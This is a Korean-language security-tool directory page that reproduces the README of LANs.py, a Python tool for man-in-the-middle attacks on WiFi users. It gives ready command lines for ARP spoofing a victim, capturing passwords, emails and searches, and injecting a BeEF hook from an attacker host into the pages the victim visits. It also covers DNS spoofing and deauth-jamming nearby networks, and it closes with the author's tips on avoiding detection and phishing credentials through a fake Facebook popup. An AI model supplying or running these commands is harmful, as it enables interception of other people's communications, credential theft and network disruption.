Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
LANs.py — 코드 주입 및 WiFi 사용자 감시 | Kitploit
도구/GitHubGitHub/danmcinerney/lans.py
Packet Sniffing & AnalysisPhishing ToolsWi-Fi AuditingWeb Application ExploitationInformation GatheringNetwork SecurityPenetration TestingRed TeamingDNS Analysis
GitHubdanmcinerney/lans.py

LANs.py

코드 주입 및 WiFi 사용자 감시

2.6k4887년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

LANs.py

*** 참고 *** 저는 더 이상 이 프로젝트를 유지 관리하지 않습니다. ARP 및 MITM 작업에는 bettercap을 사용할 것을 강력히 권장합니다.

  • 가장 활발한 WLAN 사용자를 자동으로 찾은 다음 그중 한 명을 감시하고/하거나 해당 사용자가 방문하는 페이지에 임의의 HTML/JS를 주입합니다.

    • 대상 컴퓨터, 라우터, 필요한 경우 DNS 서버의 ARP 테이블을 개별적으로 오염시킵니다. 네트워크의 다른 누구도 오염시키지 않습니다. 트래픽에서 가장 흥미로운 부분을 모두 표시하고, 해당 사용자가 방문하는 페이지에 사용자 정의 HTML을 주입할 수 있습니다. 사용 후 스스로 정리합니다.
  • 또한 주변 WiFi 네트워크를 지속적으로 재밍(jamming)하는 데 사용할 수 있습니다. 대략 한 블록 반경 범위를 가지지만, WiFi 카드의 성능에 따라 달라질 수 있습니다. 모든 사용자를 재밍하거나 단 한 명의 클라이언트만 재밍하도록 미세 조정할 수 있습니다. (WiFi 재밍과 감시를 동시에 수행할 수는 없습니다)

사전 요구 사항: Linux, python-scapy, python-nfqueue (nfqueue-bindings 0.4-3), aircrack-ng, python-twisted, BeEF (선택 사항), nmap, nbtscan, 그리고 -ip 옵션을 사용하지 않을 경우 무차별(promiscuous) 모드를 지원하는 무선 카드

Kali 1.0에서 테스트되었습니다. 다음 예제에서 192.168.0.5는 공격 머신이고 192.168.0.10은 희생자입니다.

모든 옵션:

root@kitploit:~
Python LANs.py  [-h] [-b BEEF] [-c CODE] [-u] [-ip IPADDRESS] [-vmac VICTIMMAC]
                [-d] [-v] [-dns DNSSPOOF] [-a] [-set] [-p] [-na] [-n]
                [-i INTERFACE] [-r REDIRECTTO] [-rip ROUTERIP]
                [-rmac ROUTERMAC] [-pcap PCAP] [-s SKIP] [-ch CHANNEL]
                [-m MAXIMUM] [-no] [-t TIMEINTERVAL] [--packets PACKETS]
                [--directedonly] [--accesspoint ACCESSPOINT]

#사용법

일반적인 사용법:

root@kitploit:~
python LANs.py -u -p

선택한 대상을 ARP 스푸핑하고 대상이 보내거나 요청하는 모든 흥미로운 비-HTTPS 데이터를 출력하는 능동 대상 식별 기능입니다. -ip 옵션이 없으므로 네트워크를 ARP 스캔하고, 실시간 무차별(promiscuous) 캡처와 비교해 네트워크의 모든 클라이언트를 나열합니다. 대상에 Windows netbios 이름을 태그하려 시도하고, 대상이 보내거나 받는 데이터 패킷 수를 출력합니다. 대상이 보내는 데이터 패킷을 캡처하는 능력은 물리적 근접성과 네트워크 카드 성능에 크게 좌우됩니다. 준비가 되면 Ctrl-C를 눌러 대상을 선택하면 해당 대상을 ARP 스푸핑합니다.

HTTP, FTP, IMAP, POP3, IRC 프로토콜의 데이터 가로채기 및 수집을 지원합니다. 방문한 URL의 처음 135자를 출력하며, .jpg, .jpeg, .gif, .css, .ico, .js, .svg, .woff로 끝나는 URL은 무시합니다. 또한 입력된 모든 프로토콜 사용자 이름/비밀번호, 모든 사이트에서 수행된 검색, 보내거나 받은 이메일, 보내거나 받은 IRC 메시지도 출력합니다. 스크린샷: http://i.imgur.com/kQofTYP.png

인자 없이 LANs.py를 실행하면 활성 대상 목록이 표시되며, 하나를 선택하면 단순한 ARP 스푸퍼로 동작합니다.

또 다른 일반적인 사용법:

root@kitploit:~
python LANs.py -u -p -d -ip 192.168.0.10

-d: 대상이 보는 모든 이미지를 보기 위해 driftnet으로 xterm을 엽니다.

-ip: 이 IP 주소를 대상으로 지정하고 시작 시 능동 대상 탐색을 건너뜁니다.

HTML 주입:

root@kitploit:~
python LANs.py -b http://192.168.0.5:3000/hook.js

BeEF 훅 URL(http://beefproject.com/, 튜토리얼: http://resources.infosecinstitute.com/beef-part-1/)을 피해자가 방문하는 페이지에 주입합니다. 이 옵션은 인자를 <script> 태그로 감쌀 뿐이므로 JavaScript 파일의 어떤 위치든 입력할 수 있습니다. 페이지 HTML에서 첫 번째 태그 뒤에 삽입을 시도합니다.

root@kitploit:~
python LANs.py -c '<title>Owned.</title>'

피해자가 방문하는 페이지에 임의의 HTML을 주입합니다. 먼저 첫 번째 <head> 태그 뒤에 주입을 시도하고, 실패하면 첫 번째 </head> 태그 앞에 주입합니다. 이 예제는 페이지 제목을 'Owned.'로 변경합니다.

pcap에서 읽기:

root@kitploit:~
python LANs.py -pcap libpcapfilename -ip 192.168.0.10

pcap 파일에서 읽으려면 -ip 옵션에 대상의 IP 주소를 포함해야 합니다. 또한 가장 일반적인 형식인 libpcap 형식이어야 합니다. pcap 파일에서 읽을 때의 한 가지 장점은 스크립트를 실행하기 위해 root일 필요가 없다는 것입니다.

DNS 스푸핑

root@kitploit:~
python LANs.py -a -r 80.87.128.67
root@kitploit:~
python LANs.py -dns eff.org

예제 1: -a 옵션은 피해자가 만드는 모든 DNS 요청을 스푸핑하며, -r 옵션과 함께 사용하면 해당 요청을 -r 인자의 주소로 리디렉션합니다. 피해자가 주소 표시줄에 무엇을 입력하든 stallman.org(80.87.128.67)로 리디렉션됩니다.

예제 2: 이 옵션은 eff.org 도메인과 eff.org의 하위 도메인을 스푸핑합니다. -a 또는 -dns 인자와 함께 -r 인자가 없으면 스크립트는 기본적으로 피해자를 공격자의 IP 주소로 보냅니다. 피해자가 eff.org에 접속하려고 하면 공격자의 IP로 리디렉션됩니다.

가장 공격적인 사용법:

root@kitploit:~
python LANs.py -v -d -p -n -na -set -a -r 80.87.128.67 -c '<title>Owned.</title>' -b http://192.168.0.5:3000/hook.js -ip 192.168.0.10

모든 WiFi 네트워크 재밍:

root@kitploit:~
python LANs.py

모든 옵션:


일반 사용법:

  • -b BEEF_HOOK_URL: BeEF 훅 URL을 복사하여 피해자가 방문하는 모든 페이지에 주입합니다. 예: -b http://192.168.1.10:3000/hook.js

  • -c 'HTML CODE': 피해자가 방문하는 페이지에 임의의 HTML 코드를 주입합니다. 주입할 HTML을 선택할 때 따옴표를 포함하세요

  • -d: 대상이 보는 모든 이미지를 보기 위해 driftnet으로 xterm을 엽니다

  • -dns DOMAIN: DOMAIN의 DNS를 스푸핑합니다. 예: -dns facebook.com은 facebook.com 또는 subdomain.facebook.com에 대한 모든 DNS 요청을 DNS 스푸핑합니다

  • -a: 피해자가 받는 모든 DNS 응답을 스푸핑하여 사실상 캡티브 포털 페이지를 만듭니다. -r 옵션과 함께 사용할 수 있습니다

  • -r IPADDRESS: -dns DOMAIN 옵션과만 함께 사용합니다. 사용자가 DOMAIN을 방문할 때 이 IPADDRESS로 리디렉션합니다

  • -u: 방문한 URL을 출력합니다. 150자에서 자르고 image/css/js/woff/svg URL은 출력을 어지럽히고 흥미롭지 않으므로 걸러냅니다

  • -i INTERFACE: 인터페이스를 지정합니다. 기본값은 ip route의 첫 번째 인터페이스입니다. 예: -i wlan0

  • -ip: 이 IP 주소를 대상으로 지정합니다

  • -n: 대상에 대해 빠른 nmap 스캔을 수행합니다

  • -na: 백그라운드에서 공격적인 nmap 스캔을 수행하고 [피해자 IP 주소].nmap.txt로 출력합니다

  • -p: FTP/IMAP/POP/IRC/HTTP 사용자 이름/비밀번호, 수행된 HTTP POST, 모든 검색, 수신/발신 이메일, 그리고 송수신된 IRC 메시지를 출력합니다

  • -pcap PCAP_FILE: pcap 파일의 모든 패킷을 분석합니다. -ip [대상 IP 주소] 인자가 필요합니다

  • -rmac ROUTER_MAC: 스크립트가 자동으로 가져오는 데 문제가 있을 경우 라우터 MAC을 여기에 입력합니다

  • -rip ROUTER_IP: 스크립트가 자동으로 가져오는 데 문제가 있을 경우 라우터 IP를 여기에 입력합니다

  • -v: -u처럼 150자에서 자르지 않는 자세한(verbose) URL을 표시합니다

WiFi 재밍:

  • -s MAC_Address_to_skip: 디어쓰(deauth)를 건너뛸 MAC 주소를 지정합니다. 예: -s 00:11:BB:33:44:AA
  • -ch CHANNEL: wifijammer를 단일 채널로 제한합니다
  • -m MAXIMUM: 디어쓰할 최대 클라이언트 수. 이동 중일 때 현재 범위 밖의 클라이언트/AP 쌍을 디어쓰하지 않도록 하려면 사용합니다.
  • -no: 클라이언트/AP 조합의 최대(-m) 수에 도달해도 디어쓰 목록을 지우지 않습니다. -m과 함께 사용해야 합니다. 예: -m 10 -n
  • -t TIME_INTERVAL: 각 디어쓰 패킷 사이의 시간. 기본값은 최대입니다. 'no buffer space' 같은 scapy 오류가 보이면 -t .00001을 시도하세요
  • --packets NUMBER: 각 디어쓰 버스트에서 보낼 패킷 수. 기본값은 1패킷입니다.
  • --directedonly: AP의 브로드캐스트 주소로 디어쓰 패킷을 보내지 않고 클라이언트/AP 쌍에게만 보냅니다
  • --accesspoint ROUTER_MAC: 대상으로 지정할 특정 AP의 MAC 주소를 입력합니다.

정리

Ctrl-C를 받으면:

-IP 포워딩을 끕니다

-iptables 방화벽을 비웁니다

-라우터와 피해자의 ARP 테이블을 각각 복원합니다

기술 세부 사항

이 스크립트는 Twisted IReadDescriptor로 감싼 Python nfqueue-bindings 큐를 사용하여 콜백 함수에 패킷을 전달합니다. nfqueue-bindings는 특정 패킷을 드롭하고 전달하는 데 사용됩니다. Python의 scapy 라이브러리가 패킷을 파싱하고 주입하는 작업을 수행합니다.

탐지되지 않도록 코드를 주입하는 것은 아슬아슬한 일입니다. 사소한 문제가 발생하거나 피해자가 데이터를 요청하는 서버가 독특하거나 드문 방식으로 동작하면, 사용자는 보려던 페이지를 열 수 없게 되고 무언가 이상하다는 것을 눈치챌 것입니다. 이 스크립트는 어떤 것이 실패하면 패킷을 전달하도록 설계되었으므로, 사용 중에 "[!] Injected packet for www.domain.com"이 많이 보일 수 있지만 브라우저가 훅된 BEeF 패널에는 한두 개의 도메인만 보일 수 있습니다. 이는 정상입니다. 첫 페이지에서 훅되지 않았다면 그들이 다른 페이지를 몇 개 더 탐색할 때까지 기다리세요. 목표는 눈에 띄지 않는 것입니다. 제가 가장 좋아하는 BEeF 도구는 Commands > Social Engineering에 있습니다. 사용자의 인증이 만료되었으니 자격 증명을 다시 입력하라는 공식처럼 보이는 Facebook 팝업을 만드는 등의 작업을 하세요.


  • danmcinerney.org
  • Analytics
도구 다운로드